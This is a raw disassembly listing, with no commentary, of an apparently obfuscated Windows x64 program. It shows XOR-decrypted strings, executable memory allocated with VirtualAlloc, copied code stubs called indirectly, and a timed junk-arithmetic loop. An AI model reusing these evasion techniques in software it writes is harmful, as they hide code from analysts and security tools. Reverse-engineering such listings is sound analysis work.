mov qword [rax], rbx
movups xmm0, xmmword [0x1402ab460]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [str._675__90__0___29]
movups xmmword [rsp + 0x8b0], xmm1
movups xmm0, xmmword [0x1402ab480]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x1402ab490]
movups xmmword [rsp + 0x8d0], xmm1
movups xmm0, xmmword [0x1402ab4a0]
movups xmmword [rsp + 0x8e0], xmm0
movups xmm1, xmmword [0x1402ab4b0]
movups xmmword [rsp + 0x8f0], xmm1
movups xmm0, xmmword [str.nmvbg]
movups xmmword [rsp + 0x900], xmm0
movups xmm1, xmmword [0x1402ab4d0]
movups xmmword [rsp + 0x910], xmm1
movsd xmm0, qword [str.FG_fLP]
movsd qword [rsp + 0x920], xmm0
movzx eax, byte [0x1402ab4e8]
mov byte [rsp + 0x928], al
mov r9d, edi
cmp dword [0x1402bd008], 2
jl 0x14025148b
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8a4]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140251290
cmp r9d, 0x89
jge 0x1402514fa
movsxd rax, r9d
lea r10, [rsp + 0x8a0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1402514a0
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x1e0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xbd8], r15
mov qword [rsp + 0xbe0], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xbd0], rbx
mov qword [rax], rdi
mov edx, edi
mov rcx, qword [0x1402c1a40]
test rcx, rcx
je 0x140251580
mov r8, rdi
lea rax, [0x14025b2b0]
cmp rcx, rax
je 0x14025156f
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x2c1a40]
test rcx, rcx
jne 0x140251556
jmp 0x140251580
mov r8, qword [rsi + r8*8 + 0x2c10d0]
test r8, r8
jne 0x14025166f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x14025b2b0]
test rax, rax
jne 0x1402515ae
mov r8, rdi
jmp 0x14025164e
mov rax, rdx
mov rcx, r8
mov r9d, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x1402515c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0a50]
mov qword [rsi + rax*8 + 0x2c1a40], rdx
mov qword [rsi + rax*8 + 0x2c10d0], r8
inc rax
mov qword [0x1402c0a50], rax
lea rdx, [rsp + 0x1e0]
lea rcx, [0x14020ca80]
call r8
nop
xor rbx, r15
mov qword [rsp + 0xbd0], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xaba4], 0xffffffff
mov dword [rsp + 0x9824], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9824], eax
inc rdx
cmp rdx, 0x270
jb 0x1402516c0
mov dword [rsp + 0x9820], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14025170f
imul rax, rax, 0x64
jmp 0x14025172a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x50], rax
mov r12, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140251756
imul rax, rax, 0x64
jmp 0x140251771
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x14025194f
mov qword [rsp + 0x48], 0x186a0
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402517cb
nop dword [rax + rax]
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402517b0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14025182b
cmp eax, 0x64
jae 0x14025182b
nop dword [rax]
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140251810
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14025188c
cmp eax, 0x64
jae 0x14025188c
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140251871
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x1402518fe
cmp eax, 0x64
jae 0x1402518fe
nop word [rax + rax]
lea rcx, [rsp + 0x9820]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402518e0
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x48], r12
jne 0x140251790
mov r12, qword [rsp + 0x50]
jmp 0x140251738
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x1402ab380]
movups xmmword [rsp + 0x760], xmm0
movups xmm1, xmmword [0x1402ab390]
movups xmmword [rsp + 0x770], xmm1
movups xmm0, xmmword [0x1402ab3a0]
movups xmmword [rsp + 0x780], xmm0
movups xmm1, xmmword [0x1402ab3b0]
movups xmmword [rsp + 0x790], xmm1
movsd xmm0, qword [0x1402ab3c0]
movsd qword [rsp + 0x7a0], xmm0
movzx eax, word [0x1402ab3c8]
mov word [rsp + 0x7a8], ax
mov r9d, edi
mov r14d, dword [0x1402bd008]
cmp r14d, 2
mov r12, 0xffffffffffffffff
jl 0x140251be7
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x764]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x1402519f2
cmp r9d, 0x4a
jge 0x140251c57
movsxd rax, r9d
lea r10, [rsp + 0x760]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4a
jl 0x140251c00
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d8], xmm0
mov qword [rsp + 0x2e8], rdi
mov qword [rsp + 0x2f0], rdi
lea rax, [rsp + 0x760]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140251c80
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x2d8]
call fcn.14021d330
lea rcx, [rsp + 0x2d8]
call fcn.140210b20
xorps xmm0, xmm0
movups xmmword [rsp + 0xce0], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xce8], r15
mov qword [rsp + 0xcf0], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xce0], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
je 0x140251d1a
mov rdx, rdi
cmp rax, r13
je 0x140251d09
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x140251cf1
jmp 0x140251d1a
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x140251dff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140251d41
mov rdx, rdi
jmp 0x140251dde
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140251d50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x140229510]
call rdx
nop
xor rbx, r15
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
movups xmm0, xmmword [0x1402abf40]
movups xmmword [rsp + 0x440], xmm0
movups xmm1, xmmword [0x1402abf50]
movups xmmword [rsp + 0x450], xmm1
movups xmm0, xmmword [0x1402abf60]
movups xmmword [rsp + 0x460], xmm0
movzx eax, byte [0x1402abf70]
mov byte [rsp + 0x470], al
mov r9d, edi
cmp r14d, 2
jl 0x140252085
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x444]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140251e90
cmp r9d, 0x31
jge 0x1402520f7
movsxd rax, r9d
lea r10, [rsp + 0x440]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x31
jl 0x1402520a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f8], xmm0
mov qword [rsp + 0x308], rdi
mov qword [rsp + 0x310], rdi
lea rax, [rsp + 0x440]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140252120
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x2f8]
call fcn.14021d330
lea rcx, [rsp + 0x2f8]
call fcn.140210b20
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf8], 0x5dc
xorps xmm0, xmm0
movups xmmword [rsp + 0xda0], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xda8], r15
mov qword [rsp + 0xdb0], rax
mov r14, qword [rax]
xor r14, r15
mov qword [rsp + 0xda0], r14
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x1402521da
mov r8, rdi
lea rdx, [0x14025b2e0]
nop word [rax + rax]
cmp rax, rdx
je 0x1402521c9
inc ecx
mov r8d, ecx
mov rax, qword [rsi + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x1402521b0
jmp 0x1402521da
mov r8, qword [rsi + r8*8 + 0x2c39f0]
test r8, r8
jne 0x1402522c6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140252201
mov r8, rdi
jmp 0x14025229e
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140252210
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [rsi + rax*8 + 0x2c13f0], rcx
mov qword [rsi + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0xf8]
mov rcx, rbx
call r8
nop
xor r14, r15
lea rax, [rsp + 0xac48]
mov qword [rax], r14
movups xmm0, xmmword [str._b__3__582w]
movups xmmword [rsp + 0x250], xmm0
movups xmm1, xmmword [0x1402abb68]
movups xmmword [rsp + 0x260], xmm1
movzx eax, word [0x1402abb78]
mov word [rsp + 0x270], ax
mov r9d, edi
cmp dword [0x1402bd008], 2
jl 0x140252545
mov rax, qword [rsp + 0xe40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xe40], rax
mov rax, qword [rsp + 0xe40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xe3c], edx
lea rcx, [rsp + 0xe50]
call fcn.140256890
lea rcx, [rsp + 0xe58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xed0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xb60]
call fcn.140259200
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xdc0], rax
mov rdx, qword [rsp + 0xe30]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140253d0d
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xe28]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140253d33
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xe20]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140253d59
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xe18]
